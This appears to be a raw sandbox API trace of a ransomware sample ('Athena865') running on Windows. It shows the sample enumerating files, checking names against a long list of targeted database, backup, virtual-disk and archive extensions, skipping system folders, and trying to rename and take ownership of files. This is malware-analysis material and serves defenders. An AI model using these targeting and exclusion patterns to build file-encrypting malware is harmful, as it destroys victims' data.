[0035.156] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.157] lstrlenW (lpString="dbt") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.157] lstrlenW (lpString="dbv") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.157] lstrlenW (lpString="dbx") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.157] lstrlenW (lpString="dcb") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.157] lstrlenW (lpString="dct") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.157] lstrlenW (lpString="dcx") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.157] lstrlenW (lpString="ddl") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.157] lstrlenW (lpString="dlis") returned 4 [0035.157] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.157] lstrlenW (lpString="dp1") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.157] lstrlenW (lpString="dqy") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.157] lstrlenW (lpString="dsk") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.157] lstrlenW (lpString="dsn") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.157] lstrlenW (lpString="dtsx") returned 4 [0035.157] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.157] lstrlenW (lpString="dxl") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.157] lstrlenW (lpString="eco") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.157] lstrlenW (lpString="ecx") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.157] lstrlenW (lpString="edb") returned 3 [0035.157] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.157] lstrlenW (lpString="epim") returned 4 [0035.157] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.157] lstrlenW (lpString="fcd") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.158] lstrlenW (lpString="fdb") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.158] lstrlenW (lpString="fic") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.158] lstrlenW (lpString="flexolibrary") returned 12 [0035.158] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.158] lstrlenW (lpString="fm5") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.158] lstrlenW (lpString="fmp") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.158] lstrlenW (lpString="fmp12") returned 5 [0035.158] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.158] lstrlenW (lpString="fmpsl") returned 5 [0035.158] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.158] lstrlenW (lpString="fol") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.158] lstrlenW (lpString="fp3") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.158] lstrlenW (lpString="fp4") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.158] lstrlenW (lpString="fp5") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.158] lstrlenW (lpString="fp7") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.158] lstrlenW (lpString="fpt") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.158] lstrlenW (lpString="frm") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.158] lstrlenW (lpString="gdb") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.158] lstrlenW (lpString="gdb") returned 3 [0035.158] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.158] lstrlenW (lpString="grdb") returned 4 [0035.158] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.158] lstrlenW (lpString="gwi") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.159] lstrlenW (lpString="hdb") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.159] lstrlenW (lpString="his") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.159] lstrlenW (lpString="ib") returned 2 [0035.159] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.159] lstrlenW (lpString="idb") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.159] lstrlenW (lpString="ihx") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.159] lstrlenW (lpString="itdb") returned 4 [0035.159] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.159] lstrlenW (lpString="itw") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.159] lstrlenW (lpString="jet") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.159] lstrlenW (lpString="jtx") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.159] lstrlenW (lpString="kdb") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.159] lstrlenW (lpString="kexi") returned 4 [0035.159] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.159] lstrlenW (lpString="kexic") returned 5 [0035.159] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.159] lstrlenW (lpString="kexis") returned 5 [0035.159] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.159] lstrlenW (lpString="lgc") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.159] lstrlenW (lpString="lwx") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.159] lstrlenW (lpString="maf") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.159] lstrlenW (lpString="maq") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.159] lstrlenW (lpString="mar") returned 3 [0035.159] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.160] lstrlenW (lpString="marshal") returned 7 [0035.160] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.160] lstrlenW (lpString="mas") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.160] lstrlenW (lpString="mav") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.160] lstrlenW (lpString="maw") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.160] lstrlenW (lpString="mdbhtml") returned 7 [0035.160] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.160] lstrlenW (lpString="mdn") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.160] lstrlenW (lpString="mdt") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.160] lstrlenW (lpString="mfd") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.160] lstrlenW (lpString="mpd") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.160] lstrlenW (lpString="mrg") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.160] lstrlenW (lpString="mud") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.160] lstrlenW (lpString="mwb") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.160] lstrlenW (lpString="myd") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.160] lstrlenW (lpString="ndf") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.160] lstrlenW (lpString="nnt") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.160] lstrlenW (lpString="nrmlib") returned 6 [0035.160] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.160] lstrlenW (lpString="ns2") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.160] lstrlenW (lpString="ns3") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.160] lstrlenW (lpString="ns4") returned 3 [0035.160] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.161] lstrlenW (lpString="nsf") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.161] lstrlenW (lpString="nv") returned 2 [0035.161] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.161] lstrlenW (lpString="nv2") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.161] lstrlenW (lpString="nwdb") returned 4 [0035.161] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.161] lstrlenW (lpString="nyf") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.161] lstrlenW (lpString="odb") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.161] lstrlenW (lpString="odb") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.161] lstrlenW (lpString="oqy") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.161] lstrlenW (lpString="ora") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.161] lstrlenW (lpString="orx") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.161] lstrlenW (lpString="owc") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.161] lstrlenW (lpString="p96") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.161] lstrlenW (lpString="p97") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.161] lstrlenW (lpString="pan") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.161] lstrlenW (lpString="pdb") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.161] lstrlenW (lpString="pdm") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.161] lstrlenW (lpString="pnz") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.161] lstrlenW (lpString="qry") returned 3 [0035.161] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.161] lstrlenW (lpString="qvd") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.162] lstrlenW (lpString="rbf") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.162] lstrlenW (lpString="rctd") returned 4 [0035.162] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.162] lstrlenW (lpString="rod") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.162] lstrlenW (lpString="rodx") returned 4 [0035.162] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.162] lstrlenW (lpString="rpd") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.162] lstrlenW (lpString="rsd") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.162] lstrlenW (lpString="sas7bdat") returned 8 [0035.162] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.162] lstrlenW (lpString="sbf") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.162] lstrlenW (lpString="scx") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.162] lstrlenW (lpString="sdb") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.162] lstrlenW (lpString="sdc") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.162] lstrlenW (lpString="sdf") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.162] lstrlenW (lpString="sis") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.162] lstrlenW (lpString="spq") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.162] lstrlenW (lpString="te") returned 2 [0035.162] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.162] lstrlenW (lpString="teacher") returned 7 [0035.162] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.162] lstrlenW (lpString="tmd") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.162] lstrlenW (lpString="tps") returned 3 [0035.162] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.163] lstrlenW (lpString="trc") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.163] lstrlenW (lpString="trc") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.163] lstrlenW (lpString="trm") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.163] lstrlenW (lpString="udb") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.163] lstrlenW (lpString="udl") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.163] lstrlenW (lpString="usr") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.163] lstrlenW (lpString="v12") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.163] lstrlenW (lpString="vis") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.163] lstrlenW (lpString="vpd") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.163] lstrlenW (lpString="vvv") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.163] lstrlenW (lpString="wdb") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.163] lstrlenW (lpString="wmdb") returned 4 [0035.163] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.163] lstrlenW (lpString="wrk") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.163] lstrlenW (lpString="xdb") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.163] lstrlenW (lpString="xld") returned 3 [0035.163] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.163] lstrlenW (lpString="xmlff") returned 5 [0035.163] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.163] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 77 [0035.163] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.164] GetLastError () returned 0x5 [0035.164] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.164] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.164] SetEntriesInAclW () returned 0x0 [0035.164] SetNamedSecurityInfoW () returned 0x5 [0035.164] SetNamedSecurityInfoW () returned 0x5 [0035.164] LocalFree (hMem=0x529490) returned 0x0 [0035.164] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 110 [0035.164] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 110 [0035.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.164] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x604 [0035.164] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x6e, lpOverlapped=0x0) returned 1 [0035.164] CloseHandle (hObject=0x154) returned 1 [0035.165] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.165] CloseHandle (hObject=0x0) returned 0 [0035.165] CloseHandle (hObject=0x0) returned 0 [0035.165] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7477cf60, ftCreationTime.dwHighDateTime=0x1d301bd, ftLastAccessTime.dwLowDateTime=0x7477cf60, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xe6ee95f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a3b4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{5A03E~1")) returned 1 [0035.165] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.165] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.166] lstrlenW (lpString="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.166] lstrcpyW (in: lpString1=0x241e882, lpString2="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.166] lstrlenW (lpString="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.166] lstrlenW (lpString="Athena865") returned 9 [0035.166] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.166] lstrlenW (lpString=".dll") returned 4 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.166] lstrlenW (lpString=".lnk") returned 4 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.166] lstrlenW (lpString=".ini") returned 4 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.166] lstrlenW (lpString=".sys") returned 4 [0035.166] lstrcmpiW (lpString1="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.166] lstrlenW (lpString="{5a03eaea-6daf-11e7-b9a9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.166] lstrlenW (lpString="bak") returned 3 [0035.166] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.166] lstrlenW (lpString="ba_") returned 3 [0035.166] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.166] lstrlenW (lpString="dbb") returned 3 [0035.166] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.166] lstrlenW (lpString="vmdk") returned 4 [0035.166] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.166] lstrlenW (lpString="rar") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.167] lstrlenW (lpString="zip") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.167] lstrlenW (lpString="tgz") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.167] lstrlenW (lpString="vbox") returned 4 [0035.167] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.167] lstrlenW (lpString="vdi") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.167] lstrlenW (lpString="vhd") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.167] lstrlenW (lpString="vhdx") returned 4 [0035.167] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.167] lstrlenW (lpString="avhd") returned 4 [0035.167] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.167] lstrlenW (lpString="db") returned 2 [0035.167] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.167] lstrlenW (lpString="db2") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.167] lstrlenW (lpString="db3") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.167] lstrlenW (lpString="dbf") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.167] lstrlenW (lpString="mdf") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.167] lstrlenW (lpString="mdb") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.167] lstrlenW (lpString="sql") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.167] lstrlenW (lpString="sqlite") returned 6 [0035.167] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.167] lstrlenW (lpString="sqlite3") returned 7 [0035.167] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.167] lstrlenW (lpString="sqlitedb") returned 8 [0035.167] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.167] lstrlenW (lpString="xml") returned 3 [0035.167] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.167] lstrlenW (lpString="$er") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.168] lstrlenW (lpString="4dd") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.168] lstrlenW (lpString="4dl") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.168] lstrlenW (lpString="^^^") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.168] lstrlenW (lpString="abs") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.168] lstrlenW (lpString="abx") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.168] lstrlenW (lpString="accdb") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.168] lstrlenW (lpString="accdc") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.168] lstrlenW (lpString="accde") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.168] lstrlenW (lpString="accdr") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.168] lstrlenW (lpString="accdt") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.168] lstrlenW (lpString="accdw") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.168] lstrlenW (lpString="accft") returned 5 [0035.168] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.168] lstrlenW (lpString="adb") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.168] lstrlenW (lpString="adb") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.168] lstrlenW (lpString="ade") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.168] lstrlenW (lpString="adf") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.168] lstrlenW (lpString="adn") returned 3 [0035.168] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.168] 